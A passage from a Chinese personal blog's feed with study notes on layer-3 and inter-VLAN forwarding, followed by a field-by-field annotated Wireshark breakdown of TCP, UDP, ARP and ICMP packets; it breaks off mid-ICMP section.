alt="三层转发实例"></p><p>再看这个拓扑，主机1和主机A通讯的过程，就属于三层转发。还原一下1和A通讯的过程：</p><ol><li><p>主机1将数据封装到一个网络层包中，包源地址是主机1的ip<code>192.168.1.1</code>，目的地址是主机A的ip<code>192.168.2.1</code>，两者处于不同的网段之中。</p></li><li><p>在IP包封装完成之后，主机通过查询路由表，得知发往192.168.2.x网段的包要通过192.168.1.1转发。</p><blockquote><p>路由表是如何生成并且维护的呢？</p></blockquote></li><li><p>主机1将ip包作为数据封装在数据帧中，通过数据链路层协议转发给转发设备R。帧源地址是1的mac地址，目的地址是转发设备的mac地址。目的mac地址通过查询主机内部ARP表获取。</p></li><li><p>转发设备接收到来自主机1的数据帧，从中取出ip包，检查包目的地址知道该包需要转发给主机 A。</p></li><li><p>转发设备将ip包封装到数据帧中，通过数据链路层转发给主机A，源地址为转发设备的mac地址，目的地址为主机A的mac地址。同样的，目的mac地址通过查询主机内部ARP表获取。</p></li><li><p>主机A收到数据帧，从中解析出ip包，从而获取相应的数据。</p></li></ol><h3 id="含有VLAN的三层转发"><a href="#含有VLAN的三层转发" class="headerlink" title="含有VLAN的三层转发"></a>含有VLAN的三层转发</h3><p>上面说了基于VLAN的二层转发，不同VLAN下的设备之间是相互隔离的，那当两个处于不同VLAN的设备之间需要通信时，如何进行转发呢？这个时候就需要用到路由器了，看下面这张拓扑图：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208191457595.svg" alt="VLAN下的三层转发"></p><p>交换机端口的基本信息如下：</p><table><thead><tr><th>PORT</th><th>MAC</th><th>VLAN</th></tr></thead><tbody><tr><td>1</td><td>a</td><td>1</td></tr><tr><td>2</td><td>b</td><td>1</td></tr><tr><td>3</td><td>c</td><td>2</td></tr><tr><td>4</td><td>d</td><td>2</td></tr><tr><td>5</td><td>—</td><td>—</td></tr><tr><td>6</td><td>f</td><td>汇聚（TRUNK）</td></tr></tbody></table><ol><li><p>主机A要主机C通讯，发现两者并不属于同一个网段。</p></li><li><p>和一般的二层转发一样，此时主机A要借助路由表和ARP表将IP包封装到数据帧通过数据链路层转发出去。</p></li><li><p>端口1收到数据帧，要将其转发给所有端口中同属于VLAN_1的表现，因为端口6属于汇聚端口，因此它也会收到来自1的数据帧。</p><p>检索后得知，要去往ip地址192.168.2.2的数据帧需要经由路由器R进行转发。</p></li><li><p>端口1转发时会给数据帧加上其PVid，也就是1。路由器通过检查数据帧的VID，来确认该帧需要由负责VLAN_1的接口接收。</p></li><li><p>路由器查询路由表来确定该数据帧应当向哪里转发，由于目标IP属于VLAN_2，只需要交给负责VLAN_2的接口转发即可。该接口转发时会将数据帧打上其PVid，也就是2。</p></li><li><p>交换机收到数据帧后，根据VLAN标签从MAC地址表中检索VLAN_2的表项。由于通信目标C连接在端口3上且该端口为接入端口，因此交换机剥除数据帧的VLAN标签后转发给端口3，最终PC2成功收到PC1发来的数据帧。</p></li></ol><p>以上仅仅是本人学习笔记，可能存在纰漏。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://info.support.huawei.com/info-finder/encyclopedia/zh/VLAN.html">https://info.support.huawei.com/info-finder/encyclopedia/zh/VLAN.html</a></p><p><a href="https://blog.csdn.net/jj1130050965/article/details/122463302">https://blog.csdn.net/jj1130050965/article/details/122463302</a></p><p><a href="https://www.likecs.com/show-203734139.html">https://www.likecs.com/show-203734139.html</a></p><p><a href="https://blog.csdn.net/yufen9987/article/details/124238541">https://blog.csdn.net/yufen9987/article/details/124238541</a></p><p><a href="https://blog.csdn.net/u013283985/article/details/119251658">https://blog.csdn.net/u013283985/article/details/119251658</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;基础概念&quot;&gt;&lt;a href=&quot;#基础概念&quot; class=&quot;headerlink&quot; title=&quot;基础概念&quot;&gt;&lt;/a&gt;基础概念&lt;/h2&gt;&lt;p&gt;都在说二三层转发，那这二层和三层是什么呢？&lt;/p&gt;
&lt;p&gt;三层指的是&lt;strong&gt;网络层&lt;/strong&gt;，二层指的是&lt;s</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="计算机网络" scheme="https://sandship.fun/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
    
    <category term="网络拓扑" scheme="https://sandship.fun/tags/%E7%BD%91%E7%BB%9C%E6%8B%93%E6%89%91/"/>
    
  </entry>
  
  <entry>
    <title>Wireshark抓包与包内容分析</title>
    <link href="https://sandship.fun/post/fc45.html"/>
    <id>https://sandship.fun/post/fc45.html</id>
    <published>2022-08-16T16:39:00.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h3 id="TCP报文"><a href="#TCP报文" class="headerlink" title="TCP报文"></a>TCP报文</h3><p>[[TCP IP参考模型]]中解释了TCP的作用机制</p><h4 id="封包信息分析"><a href="#封包信息分析" class="headerlink" title="封包信息分析"></a>封包信息分析</h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208161644693.png" alt="TCP报文"></p><ul><li><p>第一行：Frame 2 指要发送的数据块。其中，所抓帧的序号为2，捕获字节数等于传送字节数：70 字节；</p></li><li><p>第二行：以太网，属于数据链路层，源mac地址为<code>00:0e:c6:28:d4:3c</code>目的mac地址为<code>00:74:9c:58:d9:be</code></p><blockquote><p>可以试着百度一下两个mac地址的归属：</p><p>第一个mac地址属于ASIX ELECTRONICS CORP，台湾亚信电子</p></blockquote></li><li><p>第三行：IPV4 协议，属于网络层；源 IP 地址为 <code>192.168.119.104</code>；目标 IP 地址为 <code>123.57.3.111</code></p><blockquote><p>试着百度一下目的ip，属于阿里云</p></blockquote></li><li><p>第四行：TCP 协议，也称传输控制协议，属于传输层；源端口 (58569)；目标端口 (443)；序列号 (1445)；ACK 是 TCP 数据包首部中的确认标志，对已接收到的 TCP 报文进行确认，值为 1 表示确认号有效；长度为 604；</p></li></ul><h4 id="Frame信息分析"><a href="#Frame信息分析" class="headerlink" title="Frame信息分析"></a>Frame信息分析</h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208161703466.png" alt="Frame"></p><pre class=" language-python"><code class="language-python">Frame <span class="token number">2</span><span class="token punctuation">:</span> <span class="token number">670</span> bytes on wire <span class="token punctuation">(</span><span class="token number">5360</span> bits<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">670</span> bytes captured <span class="token punctuation">(</span><span class="token number">5360</span> bits<span class="token punctuation">)</span> on interface en5<span class="token punctuation">,</span> id <span class="token number">0</span>    Interface id<span class="token punctuation">:</span> <span class="token number">0</span> <span class="token punctuation">(</span>en5<span class="token punctuation">)</span>    Encapsulation type<span class="token punctuation">:</span> Ethernet <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    Arrival Time<span class="token punctuation">:</span> Aug <span class="token number">16</span><span class="token punctuation">,</span> <span class="token number">2022</span> <span class="token number">16</span><span class="token punctuation">:</span><span class="token number">43</span><span class="token punctuation">:</span><span class="token number">08.087606000</span> CST <span class="token comment" spellcheck="true">#到达时间</span>    <span class="token punctuation">[</span>Time shift <span class="token keyword">for</span> this packet<span class="token punctuation">:</span> <span class="token number">0.000000000</span> seconds<span class="token punctuation">]</span>     Epoch Time<span class="token punctuation">:</span> <span class="token number">1660639388.087606000</span> seconds <span class="token comment" spellcheck="true">#新纪元时间（指自 1970 年 1 月 1 日（00:00:00 GMT）以来的秒数）</span>    <span class="token punctuation">[</span>Time delta <span class="token keyword">from</span> previous captured frame<span class="token punctuation">:</span> <span class="token number">0.000007000</span> seconds<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#与前一捕获数据帧之间的时间差</span>    <span class="token punctuation">[</span>Time delta <span class="token keyword">from</span> previous displayed frame<span class="token punctuation">:</span> <span class="token number">0.000007000</span> seconds<span class="token punctuation">]</span>    <span class="token punctuation">[</span>Time since reference <span class="token operator">or</span> first frame<span class="token punctuation">:</span> <span class="token number">0.000007000</span> seconds<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#与第一帧之间的时间差</span>    Frame Number<span class="token punctuation">:</span> <span class="token number">2</span> <span class="token comment" spellcheck="true">#帧序号</span>    Frame Length<span class="token punctuation">:</span> <span class="token number">670</span> bytes <span class="token punctuation">(</span><span class="token number">5360</span> bits<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#帧长度</span>    Capture Length<span class="token punctuation">:</span> <span class="token number">670</span> bytes <span class="token punctuation">(</span><span class="token number">5360</span> bits<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#捕获长度</span>    <span class="token punctuation">[</span>Frame <span class="token keyword">is</span> marked<span class="token punctuation">:</span> <span class="token boolean">False</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#帧是否被标记</span>    <span class="token punctuation">[</span>Frame <span class="token keyword">is</span> ignored<span class="token punctuation">:</span> <span class="token boolean">False</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#帧是否被忽略</span>    <span class="token punctuation">[</span>Protocols <span class="token keyword">in</span> frame<span class="token punctuation">:</span> eth<span class="token punctuation">:</span>ethertype<span class="token punctuation">:</span>ip<span class="token punctuation">:</span>tcp<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#此帧内封装的协议层次结构</span>    <span class="token punctuation">[</span>Coloring Rule Name<span class="token punctuation">:</span> TCP<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#用不同颜色染色标记的协议名称</span>    <span class="token punctuation">[</span>Coloring Rule String<span class="token punctuation">:</span> tcp<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#染色显示规则的字符串</span></code></pre><h4 id="Ethernet信息分析"><a href="#Ethernet信息分析" class="headerlink" title="Ethernet信息分析"></a>Ethernet信息分析</h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208161745054.png" alt="Ethernet"></p><pre class=" language-python"><code class="language-python">Ethernet II<span class="token punctuation">,</span> Src<span class="token punctuation">:</span> AsixElec_28<span class="token punctuation">:</span>d4<span class="token punctuation">:</span><span class="token number">3c</span> <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">0e</span><span class="token punctuation">:</span>c6<span class="token punctuation">:</span><span class="token number">28</span><span class="token punctuation">:</span>d4<span class="token punctuation">:</span><span class="token number">3c</span><span class="token punctuation">)</span><span class="token punctuation">,</span> Dst<span class="token punctuation">:</span> RuijieNe_58<span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">74</span><span class="token punctuation">:</span><span class="token number">9c</span><span class="token punctuation">:</span><span class="token number">58</span><span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be<span class="token punctuation">)</span>    Destination<span class="token punctuation">:</span> RuijieNe_58<span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">74</span><span class="token punctuation">:</span><span class="token number">9c</span><span class="token punctuation">:</span><span class="token number">58</span><span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#目的mac地址</span>        Address<span class="token punctuation">:</span> RuijieNe_58<span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">74</span><span class="token punctuation">:</span><span class="token number">9c</span><span class="token punctuation">:</span><span class="token number">58</span><span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be<span class="token punctuation">)</span>        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">0</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">=</span> LG bit<span class="token punctuation">:</span> Globally unique address <span class="token punctuation">(</span>factory default<span class="token punctuation">)</span>        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">0</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">=</span> IG bit<span class="token punctuation">:</span> Individual address <span class="token punctuation">(</span>unicast<span class="token punctuation">)</span>    Source<span class="token punctuation">:</span> AsixElec_28<span class="token punctuation">:</span>d4<span class="token punctuation">:</span><span class="token number">3c</span> <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">0e</span><span class="token punctuation">:</span>c6<span class="token punctuation">:</span><span class="token number">28</span><span class="token punctuation">:</span>d4<span class="token punctuation">:</span><span class="token number">3c</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#源mac地址</span>        Address<span class="token punctuation">:</span> AsixElec_28<span class="token punctuation">:</span>d4<span class="token punctuation">:</span><span class="token number">3c</span> <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">0e</span><span class="token punctuation">:</span>c6<span class="token punctuation">:</span><span class="token number">28</span><span class="token punctuation">:</span>d4<span class="token punctuation">:</span><span class="token number">3c</span><span class="token punctuation">)</span>        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">0</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">=</span> LG bit<span class="token punctuation">:</span> Globally unique address <span class="token punctuation">(</span>factory default<span class="token punctuation">)</span>        <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">0</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">=</span> IG bit<span class="token punctuation">:</span> Individual address <span class="token punctuation">(</span>unicast<span class="token punctuation">)</span>    Type<span class="token punctuation">:</span> IPv4 <span class="token punctuation">(</span><span class="token number">0x0800</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#协议类型</span></code></pre><h4 id="IPv4协议信息解析"><a href="#IPv4协议信息解析" class="headerlink" title="IPv4协议信息解析"></a>IPv4协议信息解析</h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208161759423.png" alt="IPv4"></p><pre class=" language-python"><code class="language-python">Internet Protocol Version <span class="token number">4</span><span class="token punctuation">,</span> Src<span class="token punctuation">:</span> <span class="token number">192.168</span><span class="token punctuation">.</span><span class="token number">119.104</span><span class="token punctuation">,</span> Dst<span class="token punctuation">:</span> <span class="token number">123.57</span><span class="token punctuation">.</span><span class="token number">3.111</span>    <span class="token number">0100</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">=</span> Version<span class="token punctuation">:</span> <span class="token number">4</span> <span class="token comment" spellcheck="true">#版本信息</span>    <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token number">0101</span> <span class="token operator">=</span> Header Length<span class="token punctuation">:</span> <span class="token number">20</span> bytes <span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#IP包头部长度</span>    Differentiated Services Field<span class="token punctuation">:</span> <span class="token number">0x00</span> <span class="token punctuation">(</span>DSCP<span class="token punctuation">:</span> CS0<span class="token punctuation">,</span> ECN<span class="token punctuation">:</span> Not<span class="token operator">-</span>ECT<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#差分服务字段</span>    Total Length<span class="token punctuation">:</span> <span class="token number">656</span> <span class="token comment" spellcheck="true">#IP包的总长度</span>    Identification<span class="token punctuation">:</span> <span class="token number">0x0000</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#标志字段</span>    Flags<span class="token punctuation">:</span> <span class="token number">0x40</span><span class="token punctuation">,</span> Don't fragment <span class="token comment" spellcheck="true"># 标记字段（在路由传输时，是否允许将此IP包分段）</span>    <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token number">0</span> <span class="token number">0000</span> <span class="token number">0000</span> <span class="token number">0000</span> <span class="token operator">=</span> Fragment Offset<span class="token punctuation">:</span> <span class="token number">0</span> <span class="token comment" spellcheck="true">#分段偏移量</span>    Time to Live<span class="token punctuation">:</span> <span class="token number">64</span> <span class="token comment" spellcheck="true">#生存期TTL</span>    Protocol<span class="token punctuation">:</span> TCP <span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#此包内封装的上层协议为TCP</span>    Header Checksum<span class="token punctuation">:</span> <span class="token number">0x81af</span> <span class="token punctuation">[</span>validation disabled<span class="token punctuation">]</span> <span class="token comment" spellcheck="true"># 头部数据的校验和</span>    <span class="token punctuation">[</span>Header checksum status<span class="token punctuation">:</span> Unverified<span class="token punctuation">]</span>     Source Address<span class="token punctuation">:</span> <span class="token number">192.168</span><span class="token punctuation">.</span><span class="token number">119.104</span> <span class="token comment" spellcheck="true">#源IP地址</span>    Destination Address<span class="token punctuation">:</span> <span class="token number">123.57</span><span class="token punctuation">.</span><span class="token number">3.111</span> <span class="token comment" spellcheck="true">#目的IP地址</span></code></pre><blockquote><p>校验和： 我们可以用诸如 <strong>循环冗余校验</strong> ( <em>CRC</em> )算法，为以太网帧计算校验和。如果以太网帧在传输的过程出错，校验和将发生改变。<br>Time to Live：[[TTL，IP 包存活时间 _ 小菜学网络#^0alg7o]]</p></blockquote><h4 id="传输层协议解析"><a href="#传输层协议解析" class="headerlink" title="传输层协议解析"></a>传输层协议解析</h4><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208161806746.png" alt="TCP"></p><pre class=" language-python"><code class="language-python">Transmission Control Protocol<span class="token punctuation">,</span> Src Port<span class="token punctuation">:</span> <span class="token number">58569</span><span class="token punctuation">,</span> Dst Port<span class="token punctuation">:</span> <span class="token number">443</span><span class="token punctuation">,</span> Seq<span class="token punctuation">:</span> <span class="token number">1445</span><span class="token punctuation">,</span> Ack<span class="token punctuation">:</span> <span class="token number">1</span><span class="token punctuation">,</span> Len<span class="token punctuation">:</span> <span class="token number">604</span>    Source Port<span class="token punctuation">:</span> <span class="token number">58569</span> <span class="token comment" spellcheck="true">#源端口</span>    Destination Port<span class="token punctuation">:</span> <span class="token number">443</span> <span class="token comment" spellcheck="true">#目的端口</span>    <span class="token punctuation">[</span>Stream index<span class="token punctuation">:</span> <span class="token number">0</span><span class="token punctuation">]</span>     <span class="token punctuation">[</span>Conversation completeness<span class="token punctuation">:</span> Incomplete <span class="token punctuation">(</span><span class="token number">28</span><span class="token punctuation">)</span><span class="token punctuation">]</span>    <span class="token punctuation">[</span>TCP Segment Len<span class="token punctuation">:</span> <span class="token number">604</span><span class="token punctuation">]</span>    Sequence Number<span class="token punctuation">:</span> <span class="token number">1445</span>    <span class="token punctuation">(</span>relative sequence number<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#序列号</span>    Sequence Number <span class="token punctuation">(</span>raw<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">2641860239</span>    <span class="token punctuation">[</span>Next Sequence Number<span class="token punctuation">:</span> <span class="token number">2049</span>    <span class="token punctuation">(</span>relative sequence number<span class="token punctuation">)</span><span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#相对序列号，该数据包的相对序列号为2049(此序列号用来确定传送数据的正确位置，且序列号用来侦测丢失的包)；下一个数据包的序列号是1377</span>    Acknowledgment Number<span class="token punctuation">:</span> <span class="token number">1</span>    <span class="token punctuation">(</span>relative ack number<span class="token punctuation">)</span>    Acknowledgment number <span class="token punctuation">(</span>raw<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">3580640921</span>    <span class="token number">1000</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">=</span> Header Length<span class="token punctuation">:</span> <span class="token number">32</span> bytes <span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span>    Flags<span class="token punctuation">:</span> <span class="token number">0x018</span> <span class="token punctuation">(</span>PSH<span class="token punctuation">,</span> ACK<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#含6种标志；ACK：确认序号有效；SYN：同步序号用来发起一个连接；FIN：发端完成发送任务；RST：重新连接；PSH：接收方应该尽快将这个报文段交给应用层；URG：紧急指针(urgentpointer)有效</span>    Window<span class="token punctuation">:</span> <span class="token number">2048</span> <span class="token comment" spellcheck="true">#TCP的流量控制由连接的每一端通过声明的窗口大小来提供。窗口大小为字节数，起始于确认序号字段指明的值，这个值是接收端正期望接收的字节。窗口大小是一个16bit字段，因而窗口大小最大为65536字节，上面显示窗口大小为1825字节；</span>    <span class="token punctuation">[</span>Calculated window size<span class="token punctuation">:</span> <span class="token number">2048</span><span class="token punctuation">]</span>    <span class="token punctuation">[</span>Window size scaling factor<span class="token punctuation">:</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token punctuation">(</span>unknown<span class="token punctuation">)</span><span class="token punctuation">]</span>    Checksum<span class="token punctuation">:</span> <span class="token number">0x5c12</span> <span class="token punctuation">[</span>unverified<span class="token punctuation">]</span>    <span class="token punctuation">[</span>Checksum Status<span class="token punctuation">:</span> Unverified<span class="token punctuation">]</span>    Urgent Pointer<span class="token punctuation">:</span> <span class="token number">0</span>    Options<span class="token punctuation">:</span> <span class="token punctuation">(</span><span class="token number">12</span> bytes<span class="token punctuation">)</span><span class="token punctuation">,</span> No<span class="token operator">-</span>Operation <span class="token punctuation">(</span>NOP<span class="token punctuation">)</span><span class="token punctuation">,</span> No<span class="token operator">-</span>Operation <span class="token punctuation">(</span>NOP<span class="token punctuation">)</span><span class="token punctuation">,</span> Timestamps    <span class="token punctuation">[</span>Timestamps<span class="token punctuation">]</span>    <span class="token punctuation">[</span>SEQ<span class="token operator">/</span>ACK analysis<span class="token punctuation">]</span>    TCP payload <span class="token punctuation">(</span><span class="token number">604</span> bytes<span class="token punctuation">)</span>    <span class="token punctuation">[</span>Reassembled PDU <span class="token keyword">in</span> frame<span class="token punctuation">:</span> <span class="token number">3</span><span class="token punctuation">]</span>    TCP segment data <span class="token punctuation">(</span><span class="token number">604</span> bytes<span class="token punctuation">)</span></code></pre><h3 id="UDP报文"><a href="#UDP报文" class="headerlink" title="UDP报文"></a>UDP报文</h3><p>仔细看UDP的报文，其实大部分的内容和TCP报文差异不大</p><h4 id="封包信息分析-1"><a href="#封包信息分析-1" class="headerlink" title="封包信息分析"></a>封包信息分析</h4><pre class=" language-python"><code class="language-python">Frame <span class="token number">337</span><span class="token punctuation">:</span> <span class="token number">698</span> bytes on wire <span class="token punctuation">(</span><span class="token number">5584</span> bits<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">698</span> bytes captured <span class="token punctuation">(</span><span class="token number">5584</span> bits<span class="token punctuation">)</span> on interface en5<span class="token punctuation">,</span> id <span class="token number">0</span> <span class="token comment" spellcheck="true">#帧序号等信息</span>Ethernet II<span class="token punctuation">,</span> Src<span class="token punctuation">:</span> CompalIn_bc<span class="token punctuation">:</span><span class="token number">8c</span><span class="token punctuation">:</span><span class="token number">1e</span> <span class="token punctuation">(</span><span class="token number">08</span><span class="token punctuation">:</span><span class="token number">97</span><span class="token punctuation">:</span><span class="token number">98</span><span class="token punctuation">:</span>bc<span class="token punctuation">:</span><span class="token number">8c</span><span class="token punctuation">:</span><span class="token number">1e</span><span class="token punctuation">)</span><span class="token punctuation">,</span> Dst<span class="token punctuation">:</span> IPv4mcast_7f<span class="token punctuation">:</span>ff<span class="token punctuation">:</span>fa <span class="token punctuation">(</span><span class="token number">01</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">5e</span><span class="token punctuation">:</span><span class="token number">7f</span><span class="token punctuation">:</span>ff<span class="token punctuation">:</span>fa<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#以太网</span>Internet Protocol Version <span class="token number">4</span><span class="token punctuation">,</span> Src<span class="token punctuation">:</span> <span class="token number">192.168</span><span class="token punctuation">.</span><span class="token number">119.103</span><span class="token punctuation">,</span> Dst<span class="token punctuation">:</span> <span class="token number">239.255</span><span class="token punctuation">.</span><span class="token number">255.250</span> <span class="token comment" spellcheck="true">#ip协议</span>User Datagram Protocol<span class="token punctuation">,</span> Src Port<span class="token punctuation">:</span> <span class="token number">63596</span><span class="token punctuation">,</span> Dst Port<span class="token punctuation">:</span> <span class="token number">3702</span> <span class="token comment" spellcheck="true">#UDP协议</span>Data <span class="token punctuation">(</span><span class="token number">656</span> bytes<span class="token punctuation">)</span></code></pre><h3 id="ARP报文"><a href="#ARP报文" class="headerlink" title="ARP报文"></a>ARP报文</h3><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208171638697.png" alt="ARP"></p><p>![[ARP 协议原理 _ 小菜学网络#^z1h2km]]</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208171649879.png" alt="ARP报文格式"></p><p>上图展示了ARP的工作流程。总的来说，一个ARP报文包含了以下几个字段：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202208171643497.png" alt="ARP帧结构"></p><p>结合Wireshark可以看到上述报文的具体参数：</p><pre class=" language-python"><code class="language-python">Address Resolution Protocol <span class="token punctuation">(</span>request<span class="token punctuation">)</span>    Hardware type<span class="token punctuation">:</span> Ethernet <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#硬件类型</span>    Protocol type<span class="token punctuation">:</span> IPv4 <span class="token punctuation">(</span><span class="token number">0x0800</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#协议类型</span>    Hardware size<span class="token punctuation">:</span> <span class="token number">6</span> <span class="token comment" spellcheck="true">#硬件地址长度</span>    Protocol size<span class="token punctuation">:</span> <span class="token number">4</span> <span class="token comment" spellcheck="true">#协议地址长度</span>    Opcode<span class="token punctuation">:</span> request <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#操作码，标记了是请求还是回复 reply (2)</span>    Sender MAC address<span class="token punctuation">:</span> RuijieNe_58<span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">74</span><span class="token punctuation">:</span><span class="token number">9c</span><span class="token punctuation">:</span><span class="token number">58</span><span class="token punctuation">:</span>d9<span class="token punctuation">:</span>be<span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#源硬件地址</span>    Sender IP address<span class="token punctuation">:</span> <span class="token number">192.168</span><span class="token punctuation">.</span><span class="token number">119.1</span> <span class="token comment" spellcheck="true">#源协议地址</span>    Target MAC address<span class="token punctuation">:</span> <span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span>00_00<span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span> <span class="token punctuation">(</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">:</span><span class="token number">00</span><span class="token punctuation">)</span> <span class="token comment" spellcheck="true">#目标硬件地址</span>    Target IP address<span class="token punctuation">:</span> <span class="token number">192.168</span><span class="token punctuation">.</span><span class="token number">119.4</span> <span class="token comment" spellcheck="true">#目标协议地址</span></code></pre><h3 id="ICMP报文"><a href="#ICMP报文" class="headerlink" title="ICMP报文"></a>ICMP报文</h3><p>ping是向网络主机发送<strong>ICMP回显请求</strong>(ECHO_REQUEST)分组，是TCP&#x2F;IP协议的一部分。主要可以检查网络是否通畅或者网络连接速度快慢，从而判断网络是否正常。</p><p>回送请求的具体报文：</p><pre class=" language-python"><code class="language-python">Internet Control Message Protocol    Type<span class="token punctuation">:</span> <span class="token 